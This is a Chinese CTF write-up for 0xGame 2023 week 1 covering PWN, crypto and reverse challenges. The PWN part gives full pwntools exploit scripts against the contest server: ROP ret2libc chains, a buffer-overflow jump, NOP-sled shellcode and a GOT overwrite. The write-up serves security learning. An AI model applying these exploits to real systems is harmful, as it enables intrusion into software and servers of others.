[0xGame 2023] week1

news2024/12/23 22:29:04

整理一下,昨天该第二周了。今天应该9点结束提交,等我写完就到了。

PWN

找不到且不对劲的flag

第1题是个nc测试,但也不完全是,因为flag在隐含目录里

高端的syscall

程序使用了危险函数,并且没有canary阻止,gets会形成溢出。并且有后门,直接溢出到后门即可,但是这个题不清楚哪作错了,确一直打不通syscall,最后只能用才办公先泄露libc再system(bin/sh)

from pwn import *

#p = process('./ret2syscall')
p = remote('8.130.35.16', 51004)
context(arch='amd64', log_level='debug')

elf = ELF('./ret2syscall')
pop_rdi = 0x00000000004012e3 # pop rdi ; ret
pop_rsi = 0x00000000004012e1 # pop rsi ; pop r15 ; ret
set_rax = 0x401196 
syscall = 0x4011ae 
bss     = 0x404800 

#gdb.attach(p, 'b*0x401273\nc')

p.sendlineafter(b"Input: \n", flat(0,0,bss, pop_rdi, elf.got['puts'], 0x401258))

libc_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))  - 0x84420
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290
print(f"{ libc_addr = :x}")


p.sendline(flat(0,0,0x404f00, pop_rdi, bin_sh, pop_rsi, 0,0, system))

p.interactive()

 永远进不去的后门

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h]

  bufinit();
  puts("Welcome to 0xGame2023!");
  puts("Tell me sth interesting, and I will give you what you want.");
  read(0, buf, 0x100uLL);
  if ( v5 % 2023 == 2023 )
    system("/bin/sh");
  else
    puts("Not that interesting. Bye.");
  return 0;
}

由于模2023后不可能等于2023,所以也就永远也不能直接进去,不过可以通过溢出进去。这里通过看汇编得到system的地址,再溢出即可

from pwn import *

#p = process('./ret2text')
p = remote('8.130.35.16', 51002)
context(arch='amd64', log_level='debug')

p.sendafter(b'.\n', b'\x00'*0x48 + p64(0x401298))
p.interactive()

随便乱搞的shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char *buf; // [rsp+8h] [rbp-8h]
  void (*bufa)(void); // [rsp+8h] [rbp-8h]

  bufinit(argc, argv, envp);
  buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Now show me your code:");
  read(0, buf, 0x100uLL);
  puts("Implementing security mechanism...");
  v3 = time(0LL);
  srand(v3);
  bufa = (void (*)(void))&buf[rand() % 256];
  close(1);
  puts("Done!");
  bufa();
  return 0;
}

先生成一个可写可执行的段20230000,然后读入shellcode并执行。

1,这里的rand生成一个长度值,会在这个值后执行。可以在前边补nop大概率命中成功

2,close(1)关闭了标准输出,这个可以在进入shell后执行 exec 1>&0将输出重定向到0

3,shellcode可以直接利用pwntools的shellcode.sh()生成

from pwn import *

#p = process('./ret2text')
p = remote('8.130.35.16', 51003)
context(arch='amd64', log_level='debug')

p.sendafter(b':', asm(shellcraft.sh()).rjust(0x100, b'\x90'))

p.sendline(b'exec 1>&0')
p.sendline(b'cat flag')
p.interactive()

字符串和随机数

void __noreturn bot()
{
  int v0; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v1; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  unsigned int v3; // [rsp+18h] [rbp-8h]
  char v4; // [rsp+1Fh] [rbp-1h]

  puts("Welcome to SOC2023!.");
  printf("Name: ");
  read(0, name, 0x20uLL);
  printf("Password: ");
  read(0, pass, 0x20uLL);
  if ( !strncmp(name, "admin", 5uLL) && !strcmp(pass, "1s_7h1s_p9ss_7tuIy_sAf3?") )
  {
    printf("Welcome back, %s!\n", name);
    sleep(1u);
    printf("New email from %s, title: %s", "0xGame2023 admin", "Env now up! Flag here!\n");
    printf("Wanna see it?");
    v4 = getchar();
    if ( v4 == 'y' || v4 == 89 )
    {
      sleep(1u);
      puts("Warning! Security alert!");
      printf("Input the security code to continue: ");
      v3 = rand() ^ 0xD0E0A0D0;
      v2 = rand() ^ 0xB0E0E0F;
      v1 = (v2 ^ v3) % 0xF4240;
      __isoc99_scanf("%d", &v0);
      if ( v1 == v0 )
        printf("Email content: %s\n", flag);
      else
        perror("Challenge fail! Abort!\n");
    }
  }
  else
  {
    perror("Credential verification failed!\n");
  }
  puts("See you next time!");
  exit(0);
}

程序先读入用户名和密码,对式成功后需要猜一个随机数。

1,在bss段里,seed在name后,且与name相邻,并且name仅检查前5个字符,name输入满0x20时与seed相边,输出时可以泄露。

2,pass输入完后要输入\0截断

3,通过调用ctypes库,运行rand函数得到密文

from pwn import *

#p = process('./ret2text')
p = remote('8.130.35.16', 51001)
context(arch='amd64', log_level='debug')


from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

p.sendafter(b"Name: ", b'admin'.ljust(0x20))
p.sendafter(b"Password: ", b"1s_7h1s_p9ss_7tuIy_sAf3?\x00")

p.recvuntil(b'admin'.ljust(0x20))
seed = u32(p.recv(4))

clibc.srand(seed)
p.sendafter(b"Wanna see it?", b'Y')
v1 = (clibc.rand() ^ clibc.rand() ^ 0xD0E0A0D0 ^ 0xB0E0E0F) % 0xF4240

p.sendlineafter(b"Input the security code to continue: ", str(v1).encode())

print(p.recvline())
p.interactive()

我后门呢?

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  bufinit();
  puts("There won't be shell for you!");
  puts("Now give me your input:");
  read(0, buf, 0x100uLL);
  if ( strlen(buf) > 0x20 )
  {
    puts("No chance for you to overflow!");
    exit(1);
  }
  puts("See you next time!");
  return 0;
}

这个题应该算是pwn里的基础打法,前边都是教学。这里有溢出,先通过溢出获取libc 加载地址,然后再回到原程序,再执行 system(bin/sh)

from pwn import *

#p = process('./ret2text')
p = remote('8.130.35.16', 51005)
context(arch='amd64', log_level='debug')

elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
bss = 0x404800

p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

bin_sh = next(libc.search(b'/bin/sh\x00'))

p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, libc.sym['system']))

p.interactive()

got-it

程序有4项,add,edit,show和trick(退出时执行)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  bufinit();
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 8227 )
      break;
    if ( v3 <= 8227 )
    {
      if ( v3 == 4 )
      {
        puts("Thanks for using!");
        exit(0);
      }
      if ( v3 <= 4 )
      {
        switch ( v3 )
        {
          case 3:
            edit();
            break;
          case 1:
            add();
            break;
          case 2:
            show();
            break;
        }
      }
    }
  }
  trick();
}

add在第n个list偏移处写8字节

int add()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Input student id: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 15 )
    return puts("Invalid id!");
  printf("Input student name: ");
  return read(0, &list[8 * v1], 8uLL);
}

同理,edit和show分别是写和显示(edit==add),trick则执行exit(/bin/sh)显然是要改got[exit]为system

void __noreturn trick()
{
  exit((int)"/bin/sh");
}

漏洞点:v1是有符号数,但只检查<=15,所以指针可以向前溢出

list位置是0x4040a0,前边是got表,而且got表没有保护,可以通过前溢出修改和show got表。

 思路是,先通过前溢出show got表得到libc然后将got[exit]改为system然后在退出循环后执行exit[/bin/sh]

from pwn import *

#p = process('./got-it')
p = remote('8.130.35.16', 51006)
context(arch='amd64', log_level='debug')

elf = ELF('./got-it')
libc = ELF('./libc.so.6')

def add(id, v):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Input student id: ", str(id).encode())
    p.sendafter(b'Input student name: ', v)

def show(id):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"Input student id: ", str(id).encode())

add(0, b';/bin/sh')
show(-16)
p.recvuntil(b"Student name: ")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['printf']

#gdb.attach(p, "b*0x401477\nc")

add(-11, p64(libc.sym['system']))

p.sendlineafter(b">> ", b'8227')

p.interactive()

CRYPTO

What's CBC?

from Crypto.Util.number import *
from secret import flag,key

def bytes_xor(a,b):
	a,b=bytes_to_long(a),bytes_to_long(b)
	return long_to_bytes(a^b)

def pad(text):
	if len(text)%8:
		return text
	else:
		pad = 8-(len(text)%8)
		text += pad.to_bytes(1,'big')*pad
		return text

def Encrypt_CBC(text,iv,key):
	result = b''
	text = pad(text)
	block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]
	for i in block:
		tmp = bytes_xor(iv,i)
		iv = encrypt(tmp,key)
		result += iv
	return result

def encrypt(text,key):
	result = b''
	for i in text:
		result += ((i^key)).to_bytes(1,'big')
	return result

iv = b'11111111'
enc = (Encrypt_CBC(flag,iv,key))
print(f'enc = {enc}')

enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"

简单的CBC加密方法,先生成一个iv,然后每将加密都先用明文与iv异或后再作加密处理,并将上一块的密文作为下一块的iv继续加密下一块。这里的加密比较简单就是个1字节的异或。

这里先用第1块爆破一下key得到143再解密

enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"

from pwn import xor 

v = xor(enc[:8], b'1')
for i in range(256):
    print(i, xor(v,bytes([i])))
    
key = 143 
for i in range(8, len(enc),8):
    print(xor(enc[i-8:i], xor(bytes([key]),enc[i:i+8])))
    
#0xGame{098f6bcd4621d373cade4e832627b4f6}

密码,觅码,先有*再密

from secret import flag #从中导入秘密的flag,这是我们要破解的信息
from Crypto.Util.number import bytes_to_long #从函数库导入一些编码函数
from base64 import b64encode

#hint:也许下列函数库会对你有些帮助,但是要怎么用呢……
from base64 import b64decode
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

flag = flag.encode()
lent = len(flag)
flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]#将flag切割成四份

c1 = bytes_to_long(flag[0])
c2 = ''.join([str(bin(i))[2:] for i in flag[1]])
c3 = b64encode(flag[2])
c4 = flag[3].hex()
print(f'c1?= {pow(c1,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}')

'''
c1?= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
c2 = 10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100
c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
c4 = 'e4bbace79a8443727970746fe68c91e68898e590a72121217d'
'''
#全是乱码,那咋办嘛?

python要调用很多库,这题也是对一些库函数的测试。

分4段进行加密,1是转整再5次幂,2是转二进制,3是base64,4是16进制,最后合起来是乱码bytes转str用utf-8(默认值)

'''
>>> e1 = long_to_bytes(iroot(c1,5)[0])
>>> e2 = bytes([int(c2[i:i+8],2) for i in range(0, len(c2),8)])
>>> e3 = b64decode(c3)
>>> e4 = bytes.fromhex(c4)
m = e1+e2+e3+e4
>>> m.decode()
'0xGame{ 恭喜你,已经理解了信息是如何编码的,那么开始我们的Crypto挑战吧!!!}'
'''

Take my bag!

一看吓我一跳,入门怎么会有这个。再看一下,这个包很小,没有取模(c显然比n小很多,flag没那么长,所以只用到序列的小的部分)。

from Crypto.Util.number import *
from secret import flag

def encrypt(m):
	m = str(bin(m))[2:][::-1]
	enc = 0
	for i in range(len(m)):
		enc += init[i] * int(m[i]) % n
	return enc

w = getPrime(64)
n = getPrime(512)
init = [w*pow(3, i) % n for i in range(512)]

c = encrypt(bytes_to_long(flag))

print(f'w={w}')
print(f'n={n}')
print(f'c={c}')

'''
w=16221818045491479713
n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
'''

先生成一个逐渐增加的序列,每一项都大于前面项的和。分解与每一位(0/1)相乘,取和。解密方法就是从大向小,够减就是1减掉,不够减就是0

init = [w*pow(3, i) % n for i in range(512)]

m = ''
for v in init[::-1]:
    if c>=v:
        m+='1'
        c-=v 
    else:
        m+='0'

flag = ''
for i in range(0, len(m), 8):
    flag += chr(int(m[i:i+8],2))

#0xGame{Welc0me_2_Crypt0_G@me!#$&%}

BabyRSA

RSA的入门题,n由小素数组成,可以很容易分解。

from Crypto.Util.number import *
from random import getrandbits
from secret import flag

def getN():
	N = 1
	for i in range(16):
		tmp = getPrime(32)
		N *= tmp
	return N

mask = getrandbits(256)
e = 65537
n = getN()
m = bytes_to_long(flag)
c = pow(m*mask,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f'mask = {mask}')


'''
n = 93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597
e = 65537
c = 54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801
mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
'''

这个题可以先分解n然后求phi,这里我直接用sage里有euler_phi求(因为n由小素数组成),虽然是入门题,怎么打都可以。但如果玩CTF走到密码这个方向sagemath是绕不过去的。

mm = pow(c, inverse_mod(e, euler_phi(n)), n)
m = int(mm) // mask
from Crypto.Util.number import long_to_bytes
long_to_bytes(int(m)//mask)
b'0xGame{Magic_M@th_Make_Crypt0}'

猜谜

from secret import flag,key
from Crypto.Util.number import *

def dec(text):
	text = text.decode()
	code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
	unpad = 0
	tmp = ''
	if (text[-1] == '=') & (text[-2:] != '=='):
		text = text[:-1]
		unpad = -1
	if text[-2:] == '==':
		text = text[:-2]
		unpad = -2
	for i in text:
		tmp += str(bin(code.index(i)))[2:].zfill(3)
	tmp = tmp[:unpad]
	result = long_to_bytes(int(tmp,2))
	return result

def enc(text):
	code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
	text = ''.join([str(bin(i))[2:].zfill(8) for i in text])
	length = len(text)
	pad = b''
	if length%3 == 1:
		text += '00'
		pad = b'=='
	elif length%3 == 2:
		text += '0'
		pad = b'='
	result = [code[int(text[3*i:3*(i+1)],2)] for i in range(0,len(text)//3)]
	return ''.join(result).encode()+pad

def encrypt(flag):
	result = b''
	for i in range(len(flag)):
		result += (key[i%7]^(flag[i]+i)).to_bytes(1,'big')
	return result


c = enc(encrypt(flag))
print(f'c = {c}')

这里的flag先通过encrypt再作enc,encrypt里与key异或,由于flag头部已知,可以直接求出key.

enc远远看上去像变列的base64,但这里只用的2进制的3位查表,这是个变表的8进制。在这里意思不大,只需要再转回2进制再转bytes就行了。

code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
c = 'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx'
m = ''.join([bin(code.index(i))[2:].zfill(3) for i in c])
v = bytes([int(m[i:i+8],2) for i in range(0, len(m),8)])

flag = b'0xGame{'
key = xor(v[:7], bytes([i+flag[i] for i in range(7)]))
v2 = xor(v, key)
m = bytes([v-i for i,v in enumerate(v2)])
#0xGame{Kn0wn_pl@intext_Att@ck!}

Vigenere

密文:0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 古老而神秘的加密方式?

维吉尼亚密码,可以通过头来爆破key

REVERSE

 数字筑基

前两天有个网友说,大部分逆向都可以通过grep得到,确实这里的几题给了些误解。

代码金丹

 

网络元婴

 

虚拟化神

 

v3先被填充密文,然后与0xGame异或,最后与明文比较。这块grep一年也出不来的。

a = bytes.fromhex('0000000000004B1B7E070E01084B234C085707196A55585309557F030C541D4E')
a += p32(0x50585475) + p32(0x2234E52) + p32(0x553045B)
key = b'0xGame'
xor(a,key)
#0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}

 赛博天尊

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rdx
  char *v5; // rcx
  __int64 v7; // [rsp+40h] [rbp-148h]
  __int64 v8; // [rsp+48h] [rbp-140h]
  __int64 v9; // [rsp+50h] [rbp-138h]
  __int64 v10; // [rsp+58h] [rbp-130h]
  __int64 v11; // [rsp+60h] [rbp-128h]
  char Buffer[256]; // [rsp+70h] [rbp-118h] BYREF

  sub_140001020((char *)&Format);
  sub_140001080("%s");
  v3 = -1i64;
  do
    ++v3;
  while ( Buffer[v3] );
  if ( v3 != 44
    || Buffer[43] != 125
    || (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),
        7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
    || (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
    || v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
    || v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
    || (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
  {
    v5 = (char *)&byte_1400032D8;
  }
  sub_140001020(v5);
  system("pause");
  return 0;
}

这里符号表都被删掉了,从函数的参数猜测函数功能。flag由5个数字组成,这些数符合下边的运算。

z3也是绕不过去了。

'''
     7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
    || (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
    || v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
    || v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
    || (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
'''

from z3 import *

v7,v8,v9,v10,v11 = Ints('v7 v8 v9 v10 v11')

s = Solver()
s.add(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2)
v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)
s.add(v8 + 3*v4 == 0x159BFFC17D045)
s.add(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501)
s.add(v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA)
s.add(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28)
s.check()

d = s.model()

v11 = 63356652901730
v9 = 16488
v7 = 2693650760
v8 = 14810
v10 = 41791

'-'.join([hex(i)[2:] for i in [v7,v8,v9,v10,v11]])
#0xGame{a08dd948-39da-4068-a33f-399f5eca5562}

还是写的晚了,到这web和misc的题都看不到了。反正这块也不是本行,题都是一点点搜着网上的例子作。都是入门题网上都能搜着作法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067219.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

后端解决跨域(极速版)

header(Access-Control-Allow-Origin: *); header(Access-Control-Allow-Methods:*); 代表接收全部的请求&#xff0c;"POST,GET"//允许访问的方式 指定域&#xff0c;如http://172.20.0.206//宝塔的域名&#xff0c;注意不是&#xff1a;http://wang.jingyi.icu等…

文件上传笔记

一、上传的简单绕过&#xff1a; 1、若是上传的文件只在前端的代码中进行了过滤&#xff1a; &#xff08;1&#xff09;可以直接在开发者工具中删除相关代码&#xff1a; &#xff08;2&#xff09;也可以通过 burpsuite 绕过: 上传时&#xff0c;先提前修改 php 文件的后缀…

QT之可自由折叠和展开的布局

介绍和功能分析 主要是实现控件的折叠和展开&#xff0c;类似抽屉控件&#xff0c;目前Qt自带的控件QToolBox具有这个功能&#xff0c;但是一次只能展开一个&#xff0c;所以针对自己的需求可以自己写一个类似的功能&#xff0c;这里实现的方法比较多&#xff0c;其实原理也比较…

upload文件上传

参数格式 <el-upload :http-request"upload" class"upload" :show-file-list"false" :on-success"handleUploadSuccess"><el-button size"default" type"primary" style"margin:0 20px;">上…

分类预测 | MATLAB实现POA-CNN鹈鹕算法优化卷积神经网络多特征分类预测

分类预测 | MATLAB实现POA-CNN鹈鹕算法优化卷积神经网络多特征分类预测 目录 分类预测 | MATLAB实现POA-CNN鹈鹕算法优化卷积神经网络多特征分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现POA-CNN鹈鹕算法优化卷积神经网络多特征分类预测&#xff0…

深入解读redis的zset和跳表【源码分析】

1.基本指令 部分指令&#xff0c;涉及到第4章的api&#xff0c;没有具体看实现&#xff0c;但是逻辑应该差不多。 zadd <key><score1><value1><score2><value2>... 将一个或多个member元素及其score值加入到有序集key当中。根据zslInsert zran…

02.Cesium源码编译及搭建开发环境

开始之前&#xff0c;默认你已经掌握了一定的前端知识&#xff0c;文章中用到的一些前端知识不再展开解释&#xff0c;如果你有不明白的地方&#xff0c;请自行学习。 另外&#xff0c;本篇文章及后续的文章首先会使用原生JS的方式 进行实例的开发&#xff0c;Vue版本会在后期文…

办公技巧:Excel日常高频使用技巧

目录 1. 快速求和&#xff1f;用 “Alt ” 2. 快速选定不连续的单元格 3. 改变数字格式 4. 一键展现所有公式 “CTRL ” 5. 双击实现快速应用函数 6. 快速增加或删除一列 7. 快速调整列宽 8. 双击格式刷 9. 在不同的工作表之间快速切换 10. 用F4锁定单元格 1. 快速求…

快速掌握批量合并视频

在日常的工作和生活中&#xff0c;我们经常需要对视频进行编辑和处理&#xff0c;而合并视频、添加文案和音频是其中常见的操作。如何快速而简便地完成这些任务呢&#xff1f;今天我们介绍一款强大的视频编辑软件——“固乔智剪软件”&#xff0c;它可以帮助我们轻松实现批量合…

ACE综述

1、ACE综述 ACE自适配通信环境&#xff08;ADAPTIVE Communication Environment&#xff09;是可自由使用、开放源码的面向对象&#xff08;OO&#xff09;框架&#xff08;framework&#xff09;&#xff0c;它实现了许多用于并发通信软件的核心模式。ACE提供了一组丰…

【juc】countdownlatch实现游戏进度

目录 一、截图示例二、代码示例 一、截图示例 二、代码示例 package com.learning.countdownlatch;import java.util.Arrays; import java.util.Random; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ExecutorService; import java.util.concurr…

C++:模板(非类型模板参数、类模板的特化、模板的分离编译)

本文是 C&#xff1a;模板&#xff08;函数模板、类模板&#xff09; 该文的进阶部分&#xff0c;主要介绍模板非类型模板参数、类模板的特化、模板的分离编译这三部分。 目录 一、非类型模板参数 二、模板的特化 1.概念 2.函数模板特化 3.类模板特化 1.全特化 2.偏特…

Lua系列文章(1)---Lua5.4参考手册学习总结

windows系统上安装lua,下载地址&#xff1a; Github 下载地址&#xff1a;https://github.com/rjpcomputing/luaforwindows/releases 可以有一个叫SciTE的IDE环境执行lua程序 1 – 简介 Lua 是一种强大、高效、轻量级、可嵌入的脚本语言。 它支持过程编程&#xff0c; 面向对…

VScode配置Jupyter

环境 安装步骤 1、插件安装 2、更改pip加速源 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 参考&#xff1a;vscode python配置pip源 ​​​​​​​ 【Python学习】Day-00 Python安装、VScode安装、pip命令、镜像源配置、虚拟环境 3、建…

202. 最幸运的数字

202. 最幸运的数字 - AcWing题库 #include<bits/stdc.h> #define IOS ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); #define endl \nusing namespace std;typedef pair<int, int> PII; typedef long long ll; typedef long double ld;ll qmi(ll a, ll k, ll m…

集中发现服务DCPSInfoRepo通信端口和ORB交互流程

OpenDDS集中发现服务DCPSInfoRepo,为OpenDDS的pub和sub通信终端提供主题匹配和通信协商和中介服务,是基于TAO的ORB机制完成的,GIOP协议。 1、集中发现服务DCPSInfoRepo的相关通信端口 1)集中发现服务DCPSInfoRepo通信端口 DCPSInfoRepo -ORBListenEndpoints iiop://192.…

RK3568的CAN驱动适配

目录 背景&#xff1a; 1.内核驱动模块配置 2.设备树配置 3.功能测试 4.bug修复 背景&#xff1a; 某个项目上使用RK3568的芯片&#xff0c;需要用到4路CAN接口进行通信&#xff0c;经过方案评审后决定使用RK3568自带的3路CAN外加一路spi转的CAN实现功能&#xff0c;在这个…

SMT求解器Q3B——在WSL上的Docker配置

SMT求解器Q3B——在WSL上的Docker配置 1、配置wsl下的Docker2、在github上下载Q3B3、更换配置文件4、安装docker镜像5、编译Q3B6、使用Q3B 1、配置wsl下的Docker WSL 2 上的 Docker 远程容器入门 2、在github上下载Q3B Q3B下载地址 3、更换配置文件 下载完后&#xff0c;将…

[补题记录] Atcoder Beginner Contest 297(F)

URL&#xff1a;https://atcoder.jp/contests/abc297 目录 F Problem/题意 Thought/思路 Code/代码 F Problem/题意 给一个 H * W 的矩形&#xff0c;在其中任意放置 K 个点&#xff0c;由这 K 个点构成的最小矩形带来的贡献为该矩形的面积&#xff0c;这 K 个点构成一种…

什么是全员生产维护TPM?

在当今竞争激烈的市场环境中&#xff0c;企业不仅需要提高生产效率&#xff0c;同时也需要降低成本以保持竞争力。全员生产维护&#xff08;Total Productive Maintenance&#xff0c;TPM&#xff09;作为一种先进的生产管理方法&#xff0c;为企业提供了一种有效的方式来实现这…